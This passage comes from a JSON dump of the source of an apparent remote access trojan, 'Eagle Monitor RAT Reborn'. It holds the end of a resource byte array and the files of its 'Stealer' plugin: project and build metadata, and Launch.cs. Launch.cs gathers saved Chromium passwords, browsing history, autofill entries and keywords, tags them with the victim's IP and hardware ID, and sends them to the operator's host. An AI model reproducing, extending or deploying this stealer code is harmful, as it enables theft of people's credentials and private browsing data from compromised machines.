0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00,\n\t0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE,\n\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00,\n\t0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00,\n\t0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00,\n\t0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00,\n\t0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x04, 0x8C, 0x02, 0x00, 0x00,\n\t0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00,\n\t0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00,\n\t0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x68, 0x02, 0x00, 0x00,\n\t0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00,\n\t0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x01, 0x00,\n\t0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6D, 0x00, 0x65, 0x00,\n\t0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x22, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00,\n\t0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x3E, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00,\n\t0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x49, 0x00,\n\t0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00,\n\t0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00,\n\t0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x2E, 0x00, 0x64, 0x00,\n\t0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x12, 0x00,\n\t0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00,\n\t0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00,\n\t0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00,\n\t0x74, 0x00, 0x20, 0x00, 0xA9, 0x00, 0x20, 0x00, 0x20, 0x00, 0x32, 0x00,\n\t0x30, 0x00, 0x32, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x01, 0x00,\n\t0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00,\n\t0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6D, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x4F, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00,\n\t0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00,\n\t0x53, 0x00, 0x45, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x50, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00,\n\t0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00,\n\t0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00,\n\t0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00,\n\t0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00,\n\t0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,\n\t0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00\n};\n\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/Launch.cs",
    "content": "﻿using PacketLib.Utils;\nusing PacketLib.Packet;\nusing PacketLib;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {       \n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.RECOVERY_PASSWORDS:\n                    PasswordsPacket passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket);\n                    break;\n\n                case PacketType.RECOVERY_HISTORY:\n                    HistoryPacket historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket);\n                    break;\n\n                case PacketType.RECOVERY_AUTOFILL:\n                    AutofillPacket autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key ,autofillPacket);\n                    break;\n\n                case PacketType.RECOVERY_KEYWORDS:\n                    KeywordsPacket keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp,loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket);\n                    break;\n\n                case PacketType.RECOVERY_ALL:\n                    passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID);\n\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, autofillPacket);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n        private static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Stealer\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Stealer\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"57239258-19e3-4b07-854c-8b0a3221c45a\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/Stealer.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{57239258-19E3-4B07-854C-8B0A3221C45A}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Stealer</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\n    <OutputPath>bin\\x64\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\n    <OutputPath>bin\\x64\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <Optimize>true</Optimize>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ChromiumAutofill.cs\" />\n    <Compile Include=\"ChromiumKeywords.cs\" />\n    <Compile Include=\"ChromiumRecovery.cs\" />\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"FireFoxRecovery.cs\" />\n    <Compile Include=\"ChromiumHistory.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.CoreCompileInputs.cache",
    "content": "ba3aa33950505ea5c03515cce60bd229f0108ccf\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncFlow\\Stealer\\bin\\Debug\\Stealer.dll\nF:\\Personal\\DesyncFlow\\Stealer\\bin\\Debug\\Stealer.pdb\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Debug\\Stealer.dll\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Debug\\Stealer.pdb\nF:\\Personal\\DesyncFlow\\Stealer\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Debug\\Stealer.csproj.CopyComplete\nF:\\Personal\\DesyncOps\\bin\\Debug\\Plugins\\Stealer.dll\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Debug\\Stealer.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Debug\\Stealer.dll\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\Stealer.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\Stealer.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Stealer.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Stealer.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Debug\\Stealer.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache",
    "content": "de156314dddb907d39d927f419e4e8c0eef07411\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\bin\\Release\\Plugins\\Stealer.dll\nF:\\Personal\\DesyncOps\\bin\\Release\\Plugins\\Stealer.pdb\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Release\\Stealer.dll\nF:\\Personal\\DesyncFlow\\Stealer\\obj\\Release\\Stealer.pdb\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.dll\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.pdb\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Stealer.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Stealer.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Stealer.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Stealer.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Stealer.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Stealer.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Stealer.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Stealer\\obj\\Release\\Stealer.dll\n"
  },
  {
